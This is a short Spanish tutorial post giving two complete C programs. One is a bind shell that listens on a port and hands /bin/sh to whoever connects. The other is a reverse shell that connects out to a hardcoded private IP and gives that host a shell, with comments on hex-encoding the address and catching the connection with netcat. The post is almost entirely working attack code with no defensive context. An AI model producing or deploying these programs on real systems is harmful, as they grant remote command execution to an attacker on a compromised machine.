Shell remotos en c
En linux usando sockets y la llamada dup se puede crear una especie de shell remoto de forma muy sencilla,
#include#include #include int main () { int sock,canal; struct sockaddr_in dir_servidor; dir_servidor.sin_family=2; dir_servidor.sin_addr.s_addr=0; dir_servidor.sin_port=0x1337; sock=socket(2,1,0); bind(sock,(struct sockaddr *) &dir_servidor,0x10); listen(sock,1); canal = accept(sock,0,0); dup2(canal,0); dup2(canal,1); execve("/bin/sh",0,0); }
Hacer un shell inverso tampoco es complicado, luego basta con usar netcat al otro lado.
/** * reverseshell.c * Shell inverso. Se conecta a un socket externo * y asocia a un shell local. * Para generar una IP en hexadecimal * perl -e 'printf "0x" . "%02x"x4 . "n",249,1,168,192' * El puerto tb es un número hexadecimal: * perl -e 'printf "0x" . "%04x" . "n",14099' * darle la vuelta al resultado por pares: 0x3713 pasar a 0x1337 * Para compilar: * gcc -o reverseshell reverseshell.c * Para comprobar: * nc -l -p 14099 */ #include#include #include int main () { int canal; struct sockaddr_in dir_servidor; dir_servidor.sin_family=2; dir_servidor.sin_addr.s_addr=0xf901a8c0; dir_servidor.sin_port=0x1337; canal=socket(2,1,6); connect(canal,(struct sockaddr *) &dir_servidor,0x10); dup2(canal,0); dup2(canal,1); execve("/bin/sh",0,0); }